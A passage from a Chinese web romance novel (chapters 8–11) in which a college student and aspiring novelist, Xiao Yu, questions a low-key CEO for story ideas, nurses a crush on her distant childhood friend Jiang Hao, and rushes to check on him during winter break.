而顾程也觉得这个肿眼泡对自己的态度,让他极度不适。似乎不管什么情况她都很容易误会,而且怎么解释,都有点越描越黑的劲儿。可他眼下看向她,却完全不是为了解释什么,而是刻意思索了下措辞,很委婉地说道,“肖瑜。待会儿我会拿充电器过来。你好好想一想。”
*
顾程离开后不过数秒,肖瑜的脸色就变了,连看向顾菲,都带了些不悦,“越想越不对。你哥还是认定了手机我拿的?他意思是待会儿充了电,就能证明手机是他的,让我想想后果?”
顾菲起初并不觉得哥哥的话有什么问题,可被肖瑜这么一带,也皱了眉,“肖瑜,我觉得你俩不是这种人。可我觉得我哥可能也不是这个意思。你先别着急,刚才到底什么情况啊?他手机丢了怎么会找到你身上?你告诉我,我们一起再找找。他手机确实挺重要的,万一换新,好多东西都很麻烦。要不是上一部手机被车碾了,他都快五年没换手机了。”
*
顾程再过来的时候,三个女孩子居然已经不见了。
餐厅经理喜笑颜开地迎上来,把带着小猪佩奇壳子的手机双手递了上去,“顾总,手机找到了。掉夹缝儿了,实在是不好意思。”
“夹缝儿?”顾程眉心一皱,接过手机扫他一眼,“跟顾明说几回了,怎么还没整改?我妹他们人呢?”
“哦,顾小姐说等您来了,让跟您交代一声。她们不去酒吧,去唱歌,在大学城那边的‘时光’KTV。”
*
大学城,顾程很熟悉。
原本听说是在时光,他并不打算过去。可想起下午那个叫赵成杰的,似乎跟燕北北她们曾是校友,他思索了一下,还是在交叉路口调转了车头。
顾程推开门,‘流萤’内,震天响的音乐声中,顾菲和燕北北正拿着麦克风,嗷嗷喊着用最不堪的词汇,一起痛骂那个脚踏两只船的男人。
而那个肿眼泡……
8. 第 8 章
第八章
他下意识去寻另一个人的身影,有点好奇她此刻为什么没跟着一起骂。却见那个肿眼泡正眼眸晶亮咧着嘴,一边有点嫌吵地拿手掩着耳朵,一边兴致勃勃听她俩骂。瞧那意思,好像正在观摩学习。
“哥!你怎么来啦!”
顾菲的大叫通过扩音器,震得人耳膜生疼。
顾程挤着眉走进来,朝顾菲招招手。
顾菲连忙放下话筒跑过来,拉了顾程坐去一边,喊着说道,“手机拿到了吧?你看,你就是冤枉人肖瑜了。都怪明哥,跟他说多少次了赶紧重新装修,上回我手链掉里头,费老大劲才勾出来。”
燕北北那边还在骂,骂着骂着又唱起来。顾程这才发现这姑娘竟然是一边哭一边骂一边唱。
他再瞅一眼桌上东倒西歪的几个空啤酒罐,有点无奈地揉揉耳朵,“这燕北北什么酒品。还得多久?”
“我们才刚开始。”顾菲咧嘴笑着,推推顾程,“你怎么知道我在这屋的?见到小雪姐姐了?她没喊你去喝茶啊?”
“她很忙,我也不想喝茶。”顾程实在受不了燕北北又哭又跑调的鬼哭狼嚎,起身捂着耳朵在顾菲耳边说,“我去休息室坐会儿,给你一小时。”
陈雪是这家KTV的现任老板,女承父业,也是顾程的校友加好友。偶尔顾菲跟朋友唱歌过来玩,她都会看着,所以起初听说她们是来这里,顾程并不是很担心。只是后来想到那个赵成杰,怕两个女孩子受到报复,才打算过来一趟,至少得保证安全送她们回校园。
他轻车熟路来到VIP休息室,刚准备拿手机出来刷邮件,眼角瞥见跟在门前鬼鬼祟祟的小尾巴,朝门口的服务生抬了下手。待她进来,他才皱眉问道,“你跟过来干吗?”
肖瑜一改先前满眼‘你是大变态’的嫌弃,抿嘴笑着蹭过来,消了一些肿的双眼,却仍然像对核桃。
“我听菲菲说,您是个总裁啊?”
肖瑜越发带了点讨好的笑容,让顾程因她的神色和问话,看着她因笑变形的核桃眼,想起了一个词:丑人多作怪。
“所以呢?”顾程见她很熟稔似的也坐在了沙发另一边,不由又皱了眉,“是总裁,所以你就不觉得我是个变态老男人了?”
“都是误会。”肖瑜愣了一下,连忙笑着解释道,“刚才菲菲说了,那个变态的微信名是她临时改的。顾总裁,我现在不觉得你是个坏人了。我可以跟您请教一点事情吗?”
顾程低哼一声,往跟她相反的方向挪了挪,嗓音里有压不住的不耐,“说。”
肖瑜也不客气,眼眸晶亮地看着他,“你开的什么车?牌子,型号?”
顾程瞥她一眼,“奔驰。GLE。”
“可霸道总裁不都开迈巴赫吗?”肖瑜似乎有点奇怪,挤了下眉,接着问,“你平时爱喝什么酒?什么牌子,最贵的多少钱一瓶?什么年份?有什么说法?”
顾程深深看她一眼,“我不爱喝酒。需要喝酒的时候也不掏钱,助理会安排。”
“啊?”肖瑜看起来失望极了,好半天,才又抠着手指,皱着眉问,“你的表呢?是不是百达翡丽限量款?多少钱?世界上一共有几只?”
顾程深吸一口气,抬手给她看,“伯爵,基本款。我妹妹送的,价格问她。”
“啊?”肖瑜简直失望透顶,又沉默了好半天,才似乎又来了点兴致,而且瞧起来竟突然还有点不好意思,“接下来我想问您一些私人问题。可以吗?”
顾程瞅她那样儿,倒是轻嗤一声,反而有点好奇这肿眼泡到底要做什么怪,“你问。”
“就是……”肖瑜咽了下嗓子,两只手搅得麻花一样,小声问道,“你……是不是天天换床……换女朋友?”
顾程笑了,双臂抱起,转头认真地看着她,一字一句说道,“我对你没有任何兴趣。”
“我知道我知道。”肖瑜也很认真地看着他,还怕他不相信似的竖起左手,做出发誓状,“我知道你对我没兴趣。菲菲说了,你因为大学时喜欢的女孩子,至今都没有再正式谈女朋友,在感情上是个很忠贞的人。”
顾程握了下手指,觉得胸口有点憋气,“知道你还问?”
“那只是感情上啊。”肖瑜像在研究课题作业一般,深入分析道,“可感情上忠贞,不代表肉/体也忠贞。霸道总裁一边深爱着心中的白月光,一边爱而不得,天天换女人发泄。这不是很正常吗?”
“霸道总裁很挑。”顾程终于再也受不了她完全无底线的对话,起身斜睨着她说道,“不管感情还是肉/体,霸道总裁对又肿又憔悴的女人都没有一丝兴趣。你走不走?你不走我走。”
“我走。”肖瑜这会儿简直好说话得像个包子,闻言连忙起身,可临转身前又问道,“所以霸道总裁喜欢的,的确都是天使面孔魔鬼身材的女伴吧?然后还会经常给她们可以无限刷的黑金卡,买爱马仕限量版,吃醋生气了一定先壁咚,还要很霸道地说……”
*
肖瑜是被顾程很不绅士地揪起胳膊,半拖半拽丢出去的。
她站在门口,有点失望,又有点得意,挤着眉心想想,又咧嘴笑笑。好半天,才在身后那道嫌恶的目光中,点着头,自言自语地边走边笑,“这款霸道总裁接地气儿啊,别具一格。说不好会火。”
*
临到‘流萤’门口,肖瑜刚要推门,斜后方包间门开,身后一道不可置信的声音,让她抖了一下,登时僵在原地。
“肖瑜?”
是周小林,惊讶过后无比的欢乐,“哈哈,你怎么知道耗子在这儿的?你真给他装了追踪器啊?”
肖瑜咬了下唇,没有回头,仿佛他喊的那个人根本不是自己。她径直推开门走进自己的包间,可关上门后,却大口呼吸着靠在那儿,脚底发麻。
“凉凉夜色为你思念成河~~~赵成杰你这个龟孙子王八蛋~~~我他么的真是瞎了眼~~~真心给了~~~啊~~~狗~~~”
燕北北还在那儿鬼哭狼嚎,却意外地连骂人都唱到了拍子上。
顾菲仰头灌着啤酒,瞅着肖瑜走进来后,突然一副失魂落魄又惊
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慌失措的模样,她还没张口问怎么回事,门被人猛地推开。只见一个酷咧咧的男人抬眼看了一圈,直接就把门后的肖瑜往怀里一捞,转身消失在再度被甩上的门板后。
几秒钟的事,发生地就像没有发生过。
燕北北那个‘狗’字的尾音戛然而止。顾菲的啤酒罐还举在半空,她眨了下眼睛,立马就要冲出去叫人,燕北北却对着麦克风叹了口气,“没事,是肖瑜的爱而不得。”
*
“你干嘛?你别拉我!喂,北北还在呢!”
肖瑜被一身酒气的姜昊裹在怀里,几乎脚不沾地的被他往外抱着走,她捉急地往后挣着喊,“北北失恋了,姜昊!北北还在呢!”
姜昊顿住脚步,手臂间的劲儿一点没松,转头朝陈楚说道,“喊燕北北。门口等你们。”
他话音一落,不再给肖瑜乱挣的机会,直接把她往肩上一抗迈起大长腿,大阔步地走着,直到门口才被几个保安拦了下来,“同学,可不能闹事儿啊。你把这女孩子先放下来。”
姜昊冷眼瞧着他们,闷声道,“让开。”
“姜昊。”肖瑜在他肩上,头都被晃得要充血,唤着他道,“我要吐了,你放我下来。”
姜昊这才把她放回地上,右手手臂却依旧紧揽着她,掌心也紧握着她的肩头。
肖瑜搞不清他是喝醉了发酒疯,还是自己什么地方又惹了他。见姜昊还是怒冲冲地跟保安们对峙,一股子戾气,她连忙挤着笑对几个保安说道,“我们是好朋友,没事的。他喝得有点多,对不起啊。”
“真没事?”其中一个年纪大点的,看了看肖瑜肿肿的眼皮,拧眉朝姜昊说道,“吵架归吵架,可不能对女孩子对粗。小姑娘,你也别怕。”他又看向肖瑜,缓了语气说道,“如果受到威胁,该讲的时候要讲。”
“谢谢您,真的没事。”肖瑜伸手拉了拉姜昊的衣角,劝道,“我们去门口等北北吧?你别生气。”
这么一拉扯的功夫,陈楚他们喊了燕北北,顾菲也去找了顾程,一时竟是浩浩荡荡一群人,气氛微妙地同时来到了停车场。
众人一时都有些沉默,各色目光都有。
肖瑜不自在地往外挪了下脚步,耸耸肩,试图悄无声息地把姜昊的手从肩头抖下来。
虽说之前求他做护花使者的时候,姜昊也曾这么圈着她。可毕竟最后一次表白刚被拒,全校皆知,又逢好友和新认识的朋友被同一个渣男劈腿,就算是姜昊喝多了莫名发酒疯,他俩现在这个姿势也很不合适,况且她这会儿又没求他来装暧昧拒绝别人。
可姜昊却看了眼顾程,眯了眯眸,手上一个使劲儿就把肖瑜给握了回来,几乎让她贴在自己胸前。
他什么都没说,可顾程分明感受到了强烈的敌意。
顾程想起刚才这个拜金肿眼泡一听自己是个总裁,前后两张脸,还有那一连串关于车、表、女人的问话,再看看搂着她的男人,一副生怕怀里宝贝被人抢的模样。他不禁觉得好笑地勾了下唇,转头问燕北北,“你确定跟他们回学校安全吗?”
9. 第 9 章
第九章
“嗯。”燕北北的情绪在KTV得到了尽情释放,此刻微醺,有点爽,“都是同学,平时关系不错。菲菲,顾总,今天大家不打不相识,以后有时间再约。”
“一定哦,北北,我超喜欢你的。”顾菲其实十分好奇肖瑜和身边那个帅哥的事,可眼下并不是八卦的好时机,她朝肖瑜眨了下眼睛,又拿手在耳边比了个‘打电话’的手势,转身挽起顾程的胳膊,“哥,回去吧。今天好开心啊!”
“呵。被人渣了还这么开心,我这个正常人理解不了。”
“那是你经历得太少,甩渣可是人生一大快事。哥,早点再谈个恋爱吧,你年纪真不小了。肖瑜说,只要比她哥大的都算老男人。你就是。”
“她哥?她哥几岁?”
“二十六,刚好比你小了一岁,哈哈……哥,你这个老男人,哈,不对,是变态老男人!”
“你是钱又够花了是吗?”
“哥!我错了哥!你又帅又嫩……北北,肖瑜!回见啊!”
众人行走的方向都一致,兄妹俩在前旁若无人地聊着天,终于上了那辆奔驰,才彻底跟肖瑜和燕北北她们挥别再见。
*
奔驰前脚开出停车场,下一秒,姜昊就放下了握在肖瑜肩上的手,两手插兜,横眉冷目低头看着她。
肖瑜扁了下嘴,一溜小跑过去挽住燕北北的胳膊,俩人一边往前走,她一边悄声问道,“舒服了?”
“舒服了,爽。就恨当时没反应过来,该上去补一巴掌的。”燕北北呼了口气,往身后看了一眼,“他又干吗?千万别心软。渣男可不是一天练成的。”
“喝多了吧。”肖瑜也云里雾里的,可她已经连续哭了两天,情绪疏解不少,今天又经历这么多事,肝肠寸断的感觉已经没有那么强烈,倒是回寝室创作的冲动更急切,“我新坑准备写霸总。”
“啊?”燕北北奇怪地看她一眼,笑道,“那不是你的雷区吗?最扑的类型。”
“可我现在灵感很强啊。”肖瑜一提起小说,兴奋得不行,喜笑颜开地说道,“这个顾总,是个很另类的霸总类型,我预感会火。咱们找时间约菲菲出来喝咖啡吧,我要好好问问她,顾总那个白月光的事情……”
她俩在前边说着话,陈楚看一眼神色间已经平静下来的姜昊,有点疑惑地问道,“什么情况啊?你今儿喊咱们过来喝酒,原来是肖瑜又拉你做挡箭牌?”
姜昊没吱声,转头去看周小林,“你不是说她在寝室吗?”
“送饼干的时候,刘孜歆是这么说的啊。”周小林也是一头雾水,“她说肖瑜哭了两天两夜,要死不活的,正在床上挺尸呢。”
姜昊低哼一声,眯眸看向前方那个脚步轻快,跟燕北北说着说着还笑起来的身影,裤兜里的双拳紧得发疼。
*
一路上,姜昊他们几个都没再上前跟肖瑜她俩说话,只是一直送到了寝室楼下,亲眼看着两个女孩子道了别上去,才慢慢走向自己的寝室楼。
肖瑜第一时间给家里打了电话,顺便跟肖帅约好了来接她回家的时间,正要赶紧去把灵感记录下来,手机一声轻响,是姜昊发来的简讯:【双月亭】。
她抿了下唇,第一次跟姜昊说不:【我不去】。
*
好姐妹突然成了失恋二人组,情伤都是因为喜欢过的男人太渣,相互间又很挂念对方的情绪,倒看起来都不再那么伤心欲绝。
周三中午在食堂打饭时,肖瑜和燕北北第一时间冲进食堂打包带饭回宿舍,本来还想打份苦瓜送给辛叶柔,但可气的是,冬天里食堂不做这道菜。
周四的大课,她和燕北北也是最后一个去,第一个走。一个星期里,居然一次都没再跟姜昊正面相对过。
刘孜歆周末要去兼职打工,燕北北也有半天的家教兼职。
肖瑜一个人在寝室里,饿了吃个泡面加个饼干,渴了泡点奶茶,奋力狂敲键盘。
正在填的坑更新完毕,把灵感涌动的霸总新文大纲写好,她又意犹未尽地读了一遍,这才到窗边伸着懒腰远眺,歇眼睛。
【接地气儿的霸总,大学时期隐藏家族豪门的身份,十分低调,与他的白月光相爱了。可谁知道白月光为了攀附豪门甩了他,让他备受情伤,自此再也不相信女人。
毕业后的霸总依旧保持着不高调不奢华的习惯,但对待女人却十分随意,只玩不爱,夜夜笙歌。此时女主不经意间闯入了他的世界,天使面孔,36E身材傲人,也是个被感情伤透的女人。两个人先睡后爱,彼此产生了奇妙的化学反应。
而白月光当初喜欢的豪门相比霸总,其实就是个小虾米。所以当她知道了霸总的真实背景后,悔不当初,回头求和。
霸总对白月光是真爱啊,但也恨,又对新欢犹豫不决,于是乎,三个人再度开始了新一场虐恋情深……】
肖瑜越想越兴奋,正打算再做套眼保健操,立马投入到新文中去,寝室电话响起,她两步过去接起来,声音里都还满是笑意,“喂?209,你找谁?”
“找你。”姜昊的声音传过来,淡淡的,“寒假想几号走?”
以往放假前,都是肖瑜缠着他问,‘姜昊,你想几号回家呀?我们玩几天再走好吗?’要是恰逢两人生气,肖瑜就会主动把两个人的票定好,邀功一样去找他求和。
她喜欢跟他一起回家,可以在路上跟他说说笑笑,更可以在打车和坐高铁的时候,享受被他照顾着紧张着的感觉。有时候,她还会耍个小心机,装着很困的样子,靠在他肩头眯着眼睛假寐,其实嘴角都弯得压不住。
所以听到姜昊这么问,肖瑜脸上的笑滞了一下,心尖也突然被刺了一下似的,酸酸的,疼疼的,“我哥会来接我。”
那边沉默了一会,才说道,“你现在下来。”
肖瑜还想说‘不’,可嘴巴刚张开,就听姜昊在那边又说,“不然我就让你哥把我一起接回去。”
“……”
*
到底是在最好的年华。最近几天的作息重新规律起来,肖瑜此时已不再像之前那样又肿又憔悴。
镜子里的人,一双眼睛不再像对核桃,灵动的眸子黑亮亮,睫毛细密,配着小巧的鼻子和红润的唇,清丽可人。眨着眼睛不说话的时候,看起来很乖。咧嘴笑起来的时候,又因着弯起的眸子,看起来甜甜的。
肖瑜对着镜子摆了几个表情,放下了手中的化妆包。
她自认也是有几分姿色的,可若人家就是不喜欢你,化成天仙也改变不了任何结果。更何况,说不好人家压根就不喜欢女人。
*
第一次下了寝室楼就见到姜昊,肖瑜因为意外还站在台阶上发愣,他已转身迈开了腿。
肖瑜连忙回过神,双腿先过脑子行动,一溜小跑就追了上去。
已是下午,周末这个时间出入寝室楼的人并不多。几个女生回寝路上见到姜昊,眼睛里都是惊讶且八卦的光。
姜昊依旧双手插在兜里,待肖瑜跑到了身侧,才放缓脚步,边走边低头斜睨了她一眼,“你打算躲我躲到什么时候?”
“我没躲你。”肖瑜没什么底气地双手交握,缠麻花,“我只是最近比较忙。”
姜昊‘嘁’了一声,又斜斜瞅了她一眼,“忙着移情?”
结果肖瑜真的点了
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点头,“嗯。”
姜昊脚步一顿,登时扯着胳膊把她拽得停了下来,“那个顾总?肖瑜,你长胆子了是吧?摇一摇认识的社会老男人,都敢随便跟人出去喝酒?”
“我没有喝过酒。再说谁说移情一定要是人?”肖瑜嘟了下嘴,把他胳膊拽下来,撩着眼角瞪他,“情场失意,可我文场得意啊。你都不知道我最近写文写得多开心。”
姜昊又‘嘁’了一声,双手插回裤兜,凉凉的面色柔和了几分,“晚上回来把你笔记本给我。我看看你都写的什么玩意儿。”
“想得美。”他俩又一起迈开步子,肖瑜很傲娇地说道,“自己去网上看。我可是签约作者,随便把文给人看,那可是违约的。”
姜昊皱了下眉,“你写的,我还得去别的地方看?难道还要我花钱买你的文看吗?”
肖瑜眉头也皱了起来,十分不满地说道,“我的文一整篇看完也不够你点个外卖的,难道不值得吗?”
“行。”姜昊低笑一声,点点头,“在哪儿看,怎么看?”
“你还真想看啊?”肖瑜有点意外,“说说而已。那都是女孩子看的,你肯定没兴趣。”
“你怎么知道我没兴趣。”姜昊又笑,带着几分揶揄,“难道你写了什么是我不能看的吗?”
“反正……”肖瑜的脸红了一下,双手又抠成了麻花,“反正就是只给女孩子看。姜昊……”
她想起自己写的文,朦朦胧胧的感情,灾难现场般的船戏。伸手拍拍脸,转移了话题,“你是真的把我当闺蜜吗?”
见姜昊闻言再度皱起了眉,肖瑜连忙解释道,“我不会再提那个要求的。我就想知道我们到底算什么,是朋友,还是比朋友更亲近的闺蜜。”
姜昊这才似乎舒了口气,应道,“你可以把我当闺蜜,我把你当哥们儿。”他说完,看了她一眼,补充道,“我是男人。”
“哦。”他说得很隐晦,却又似乎已经解释得很清楚。肖瑜说不出心里是什么滋味,有点惆怅,又有些释然,她长长地呼出一口气,才问道,“我们去哪儿?”
“出去玩,吃饭。”姜昊的视线又落在她的身上,眼睛里的光很柔和,“小鱼儿,如果你可以一直这么乖,我们会处得很好。”
*
如姜昊所言,接下来的一整个下午和晚上,因为肖瑜并未像此前一样,找着机会就要缠着跟他处朋友,两个人亲密地就像回到了高中时代。
过马路时,姜昊会自然地牵起她的手;娱.乐.城里人太多,他也会随时展臂把她护在怀里;抓到了娃娃,肖瑜会兴奋地握住他的胳膊又蹦又叫,他也会偷偷地拿一些蛇和蟑螂的小玩具,往她脖子里塞,吓得她又叫又怕往他怀里缩。
送她回到寝室楼的时候,肖瑜怀里抱了好多的娃娃,笑得眼睛都弯成了月牙。
姜昊伸手把她乱掉的发丝从脸上拨过去,笑了笑,“明天早点出去玩,你别睡得太晚。”
“好。”肖瑜开心极了,小鸡啄米一样点着头,“那我上去了。”
“我想带你去静海。”姜昊看着她,并没有开口让她上楼,而是轻轻说道,“会有点冷,戴上帽子和围巾。”
“嗯。”肖瑜一如既往对他的好声好气没有任何抵抗力,心里一股暖流酸酸地涌动起来,她又点了点头,唇角的笑却淡了些,“那我上去了。”
姜昊依旧看着她,似乎还想再说些什么,手机铃声响起,他低头看了眼来电,脸色突然就变了。
“上去吧。”他沉着眉,朝她点了下头。见肖瑜抿了下唇却站着没动,他又扯起一丝笑,染了些痞气,“我看着你上去。不是什么重要的电话,不着急接。”
10. 第 10 章
第十章
“啧,我发现这个姜昊是真的很会啊。”
寝室里,燕北北一边唆粉,一边瞅着把娃娃摆满床头床尾的肖瑜,咂舌道,“这就给哄好了?嗳你说男人是不是就是贱?追他不行,非得冷着,暧昧拉扯比当正牌男友舒服是怎么着?”
“其实他说的也没错。”肖瑜脱了大衣,把晾好的帽子和围巾装进背包,坐在窗前陪着燕北北,有一点惆怅,却又有点满足,“本来我们关系一直都很好,如果不是我非缠着要做他女朋友,在一起的确会玩得很开心。是我太贪心了。”
“那怎么能一样呢?”燕北北想起赵成杰,心里吃了苍蝇似的,推开饭盒支腮看着她,“他这是在养鱼。正牌男友跟别的女人好,那是劈腿。可你俩这么没名没分的,哪天他又跟别的女人也这么好,你连讨个说法的资格都没有。肖瑜,你清醒一点。”
“我很清醒啊。”肖瑜趴在桌上,眼睛望着窗外,弯起眼眸,“他说了大学的时候不想谈恋爱,那我们就做好朋友,反正其实也没差多少。可我就是还不确定,他只是不想谈恋爱,还是就不喜欢女孩子。”
“嗳?”燕北北悄咪咪凑过脸来,问,“你俩亲过了没?”
“当然没有。”肖瑜脸色红红地瞪她一眼,很是遗憾地叹了口气,“要不我也不至于写吻戏的时候,因为说男女主相互送口水,被读者一顿骂。”
“哈哈。”燕北北想起来肖瑜第一次写吻戏,被骂得狗血淋头改了又改,就忍不住笑,“情动的时候,想接吻太正常了。他啊,要么就是真的对你完全没有男女之情,要么,就真是个GAY。不过我看他平时跟男生玩,也还挺正常的。哎,怪不得把你勾得晕三迷四的,还真挺难琢磨。”
“你跟赵……”肖瑜抿了下唇,有点小心地问道,“你跟那个渣男……你们到哪一步了?”
他俩接过吻,肖瑜知道。因为那是燕北北的初吻,就是她说当时并未觉得太美好,其实亲嘴唇比相互送口水更舒服,所以肖瑜后来才会把深吻描述成了互吐口水,写文第一场亲热戏成了一生黑。
“我很后悔。”燕北北闻言攥紧了五指,深深吐了口郁气,“当时他毕业,求着我把自己给他,发誓会一辈子对我好,会跟我结婚。我虽然犹豫,可又真的很爱他,想着就算曾经拥有过,也算值了。情深的时候,是很容易冲动的。可如今……我很矛盾。我并不后悔那时候为爱不顾一切,后悔的是,所托非人。”
两个女孩子又沉默下来。
肖瑜的手机震动了一下,拿起来,是姜昊的信息,【明天不去了。我有事。】
这并不是他第一次失约,可肖瑜转头看向满床的娃娃,神色还是落寞了下来。
*
连续三天大考过后,终于等到了放假。
听闻姜昊居然在周日一早就请假回了家,肖瑜给他打电话不接,发微信,他也只是简单地回复道,【我会找你。】
除此,再无别的回应。
所以见到肖帅后,肖瑜第一时间就问道,“姜昊家里出什么事了吗?他怎么连考试都没参加啊。”
“没听姜叔他们说什么啊。”肖帅往她怀里塞了一大包饼干,伸手揉揉她的脑袋,“只听说他们今年要去北国过年,估计是早点回去做准备吧。”
“又去看他姑姑吗?”肖瑜上了车,情绪明显低落了下来,“暑假刚去过,怎么又去……”
姜昊的姑姑姜玉珠是个传奇的女人。
早年北国留学,跟一个本地老钱家族的富豪成婚,在异国扎了根。原本一切都童话般美好,可几年前她老公飞机失事,遗产争夺战轰轰烈烈数年官司,至今还没划上句号。因为这件事,姜昊的父母和叔伯时常带着小一辈过去为她撑腰,顺便疏解情绪。毕竟她不仅仅是家门荣耀,那笔价值难以估量的遗产,放到国内也是顶级的富贵。
肖帅再度伸手揉了揉她的脑袋,转头笑着发动了车子,“你啊……要不,今年带你去北国滑雪啊?一天天跟个小尾巴似的跟着耗子,都不怕惹他烦啊?”
“他早就烦我了。”肖瑜撇了下嘴,一边往嘴里塞饼干,一边鼓着嘴嚼着,嘟囔道,“一天天地玩消失。我要是再主动去找他,我就不是小鱼儿。”
*
肖家的掌上明珠寒假回家,偌大的肖宅登时笑语不断。
肖妈妈早就着人备好了一桌的菜,肖爸爸还刮了胡子专门做了造型,帅气硬朗的模样,逗得肖瑜抱着他的脸亲了半天,把肖爸爸乐得喜笑颜开。
夜来娘俩窝在一个床上说悄悄话,听到肖瑜说这个月写文收入又十分丰厚,肖妈妈挽着闺女的手臂,心疼地不得了,“爸妈又不是养不起你,你自己写文赚钱攒个小金库玩就算了,怎么还要去什么轮胎厂给别人打工?那多累啊。乖宝,咱毕业了就回家来,喜欢写小说,就在家全职写,行不行?”
“实习而已,不会很累的。”肖瑜把脑袋靠在妈妈的肩头,娇笑着说道,“我们下学期没课,我也只是想让自己忙碌起来。妈妈,毕业了我就回来,你们真的要养我一辈子,不能嫌我烦哦。”
“烦什么啊,妈妈想你都想得睡不着觉。”肖妈妈伸手抚着她的脸,温柔地笑道,“生你的时候难产,差点都怕保不住你。乖宝,在学校一切都好吧?有没有受什么委屈?”
“我这么可爱,谁会给我委屈啊?”肖瑜想起那个把自己委屈成核桃眼的男孩子,抿了下唇,悄声问道,“妈妈,姜昊家最近没什么特别的事吧?他连考试都没参加就回来了。”
“好像是姜昊姑姑那边的官司已经打完了,过年的时候整个姜家都会过去庆祝。”肖妈妈微微蹙了眉,叹口气,“他姑姑也是个值得同情的女人,也不知道是谁的问题,竟然那么多年也没给夫家添个孩子。如今那滔天的富贵,别说夫家那些亲戚争着要……”她说着,顿了顿,还是不想给女儿单纯的思想添龌龊,悄声转了话题,“乖宝啊,我瞅着你跟姜昊两个一直都好得很,你们俩在学校……谈上了?”
“没有。”肖瑜不好意思地把头往她怀里缩了缩,闭上眼睛,“上学呢,不谈恋爱。妈妈,我要一辈子做你和爸爸的乖宝。”
“胡说。”肖妈妈把她拢怀里,轻拍着她笑道,“乖宝睡吧,回来路上肯定累了。明天带你去做头发,好好保养一下,这头发都开始毛躁了。”
“嗯。”
*
一连数日,肖瑜都跟肖妈妈寸步不离。美肤美发美甲,回家的小鱼儿像个宝,美美的新装也添了一件又一件。肖爸爸更是午饭晚饭全都照她喜欢的家乡菜安排,下完这个馆子下那个,尽是本地最有名的所在,不仅有高雅饭庄,也有小巷子里深藏的美味。
姜昊并没有来找过她,只是在她到家的隔日发了个信息,问她有没有安全到家。肖瑜回了电话过去,他依旧掐断了没有接,继续玩消失。
所以肖瑜也很赌气的,逼着自己不再主动跟他联系。
明明是他说,只要她不再提确立关系的事,他们还可以好好相处。可这忽冷忽热,说不联系就不联系的毛病,真的孰可忍孰不可忍。
*
“这夫妻俩也真是狠心,大过年的,把昊昊一个人丢家里去北国了?”
这天肖瑜刚下楼走向厨房,就听到里面传来
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肖妈妈不满的低语,“他爸跟他那几个叔伯,这几年为了那份遗产,比他姑姑都上心。说得好听是去给姜玉珠撑场子,也就能骗骗他们自己,明眼人谁不知道他们打的什么主意。”
“富贵迷人眼。”肖爸爸轻叹一口气,淡淡说道,“老姜家底也不算薄,可跟人那世代积累的富贵比,沧海一粟,会惦记也不奇怪。”
“除夕把昊昊也叫过来吧?”肖妈妈也没再多八卦,满是心疼地说道,“家里就一个保姆,过年说不定也回去了。都不知道昊昊这几天怎么过的。这孩子也是,跟咱们小鱼儿打小那么亲近,除了初中不在一个学校,到哪儿都那么照顾她。我当他俩都要谈朋友了,还是这么见外,什么事儿都不说。”
肖瑜听得脑子嗡嗡的。她直觉哪里好像不对劲儿,却又一点头绪都没有。
肖妈妈在身后叫她的时候,她已经噔噔噔跑上楼。换了衣服下来的时候,她满脸焦急地跟肖妈妈说道,“我去看看姜昊。妈妈,中午我带他回来吃饭好吗?”
“嗳你别着急啊。”肖妈妈连忙把她拉住,把沙发上的围巾递给她叮嘱她戴上,接著去厨房忙碌了一会儿,端了两个保温盒出来,“我也是今儿早才听说,正打算待会过去看看的。你把早饭也带过去给他,你俩一起吃了,可不许空腹。”
“我知道了妈妈,谢谢妈妈。”
她话音都还未落,已经抱着两个保温盒小跑着出了门。
肖爸爸在身后看着她匆忙的身影,眉心微微簇起,欲言又止地看了看肖妈妈。
肖妈妈又哪里不知他的担心,可她也只能低叹一口气摇摇头,轻声道,“总是要长大的。有些事,就算再心疼,也只能她自己去经历。”
*
“姜昊!姜昊!耗子!你开门!”
肖瑜接连打了几个电话,姜昊都没有接,也没有挂断。她一遍又一遍去按门铃,继而狠狠拍着联排小别墅的木质门板,掌心都开始发疼,“姜昊!再不开门我报警了!姜昊!”
“肖瑜回来了啊?”姜昊隔壁家的院门打开,邻居刘阿姨招手示意她过来,蹙眉悄声说道,“你啊,这会儿别去找昊昊玩。前几天他们家动静闹得可大了,我都没听过他们吵成那样。跟着你姜叔就他们大包小包提着行李去北国度假,居然连宝贝儿子都没带,估计是闹了大脾气了。别去惹事。”
“刘阿姨。”肖瑜更急了,转着眼睛四下看了看,把保温盒递给刘阿姨,哀求道,“刘阿姨,我怕他要是……要是一个人在家出事了怎么办。我从你家翻过去行吗?求求你了。”
“你一个女孩子家翻什么墙啊。昊昊没事,我也瞅着呢,夜里灯会亮。”刘阿姨劝着她,可附近相熟的都知道,这俩孩子一向关系近得很。她叹口气,朝后院喊道,“老陈,你把咱家梯子搬过来。”
*
终于从院墙上跳进了姜昊家的院子,肖瑜先打开门把保温盒接过来,放在屋檐下的台阶上,又感激地跟刘阿姨道了谢,才匆匆又关木门,围着房子四处找进屋的办法。
前后门都打不开,肖瑜只好从窗户上找切入点,可每扇窗都紧紧关着,连窗帘都密不透光,连个能让她看一眼屋内情况的缝隙都没有。
一扇又一扇窗拉一拉,晃一晃,本是阴沉寒冷、疾雨欲来的冬日,肖瑜却不一会儿便满头大汗。
她跑去前门,脱了帽子、围巾和大衣甩到屋檐下,跟保温盒放在一处,正打算再看一眼客厅窗户那个边角该用什么类型的工具,好去隔壁借一下。可再度回到窗前时,却整个人愣在那里,动不能动。
已拉开帘子的窗内,姜昊在那里静静地站着。
11. 第 11 章
第十一章
肖瑜从未见过这样的姜昊。
他像是一个没了灵魂的玩偶,眼神空洞,满身孤寂。
见到她重新出现的一瞬,他眼睛里亮了一下,却撇着唇角流出眼泪,竟似有着无尽的悲伤。
肖瑜的眼泪一下就涌了出来,她又去拍窗户,想他打开将两人隔开的那层玻璃。
可姜昊望着她,狠狠闭了闭眼,随着转身的动作,再度拉上窗帘,连两人之间视线的交汇也隔断。
毫无预兆的疾雨,跟他寒假前后态度的转变一样突然。
肖瑜依旧一遍一遍拍着窗户,雨水打湿了她新染的栗色长发,混着雨水的泪,也浇花了她一早起床收拾的妆容。
她整个人都被风雨浸透,刺骨的寒意也灌入了脚心。可还是扶着窗台,一遍一遍地拍,大大的眼睛眨都不敢眨一下,期待着那窗帘后的身影会再度出现。
前门吱呀一声被打开,肖瑜的手顿住,转头看向一步一步、在雨中向她缓缓靠近的姜昊。
“你为什么要来?”豆大的雨滴,不过转瞬就让他浑身湿透。他的声音很冷,像是淬了冰,“你为什么非要来?肖瑜……”
